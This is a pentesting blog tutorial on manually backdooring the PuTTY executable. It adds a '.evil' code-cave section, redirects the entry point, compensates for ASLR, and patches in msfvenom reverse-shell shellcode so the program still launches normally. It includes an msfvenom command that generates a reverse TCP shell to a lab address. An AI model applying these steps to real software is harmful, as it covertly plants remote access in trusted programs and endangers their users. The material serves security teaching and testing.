Backdooring PE-File (with ASLR)

Fi8sVrs · June 22, 2018

Welcome to my next blog post. Today i want to show you some basic pentesting stuff. We will manually backdooring a PE-File, in this case the putty client. I used the following software setup:

Windows 10 Pro 32 Bit
Putty
Stud_PE
Immunity Debugger

Before we are getting our hands into assembly, i want to explain what we will do.

We will add a section header named .evil to our file and hijack the file‘s execution flow. At the entry point we will redirect the execution to our shellcode and after gaining our shell, the ordinary appliaction is running (putty starts).

#0x01 Adding Section

At first we are going to add our new section .evil to our file through Stud_PE. The following pictures are pritty self explaining

I choosed a section size of 1500 Bytes which are filled with nullbytes. That‘s more than enough for our shellcode.

After saving the file and load it into Immunity you can see the differences between the two files (new section .evil is spawned).

And if you look at the adress of .evil you will see the following (our predifined nullbytes) -> Great!

While checking our new section you may noticed, that the adresses has slighty changed. The last 4 Bytes are always nullbytes but the first 4 Bytes are changing through every reloading process of the file.

00FB0000 <-> 00250000

That‘s a kernel protection ASLR, you can find more information about this countermeasurement here. This makes some more work, but isn‘t a problem (more later).

#0x02 Hijack Execution Flow

Now we are looking at the entry point of our file in Immunity. The First instruction at 0x002B7FD6 is a call instruction. We are going to change the first instructions to jump into our code cave (.evil). Before changing any assembly instruction copy the ‚old‘ instructions to a text file, because we are going to resume to the application flow after executing our shellcode.

Mark the first instruction and type „jmp [adress of .evil]“ in my case „jmp 0x002E3000“. After hitting enter you will see the following:

Save the changes to a new file and open it in immunity.

Now we are taking the first instruction with F7 and are landing in our code cave of nullbytes at the .evil adress.

For our testing purpose we replace the nullbytes with nops. To do so just mark all the nullbytes of the code cave and do the following:

We save the state of our registers on the top of the stack through the assembly instruction pushad && pushfd.

At the end of our code cave we restore our register states with popfd and popad.

So far no problems (hopefully). Now we do some math do encounter the ASLR protection.

We want to restore all overwritten functions at the end of our code cave and jump right back into the „old“ execution flow. If you are looking at the entry ponit of our file, you will see that only the call instruction is missing. Without enabled ASLR we could use the saved adress from our textfile just like „call x002B8265“, but you see that the adress of the second instruction „jmp 0x002B7E6E“ has also changed… ASLR Hurray!

What now? We have to determine the offset between the old adresses to calculate the new overwritten call instruction. Instead trying to explain the several locations, adresses and relations i try to show it in following pictures (if this isn‘t enough, plz tell me via twitter and i will add text sections)

In the end we got the „new“ adress for our overwritten call instruction which is 0x13F8265. We place this call instruction right behind the restored registers (pushfd, pushad).

Now we only need to jmp to the next ordinary instrution at the entry point via „jmp 0x01067FD8“ and the execution will flow.

#0x03 Inject Shellcode

Choose your favourit shellcode or generate a new one . I used following command:

msfvenom -p windows/shell_reverse_tcp lhost=10.0.2.6 lport=1337 exitfunc=thread -f hex

Then use the binary paste function of Immunity to replace some of our nops with the shellcode.

Save the file and voila, you sucessfully backdoored a PE-File !

Ok, just one thing is missing. The shellcode of msfvenom used the WaitForSingleObject function and the default values prevent the application to execute until the shell is released.

To solve this change the „DEC ESI“ code at the end of the shellcode with a nop.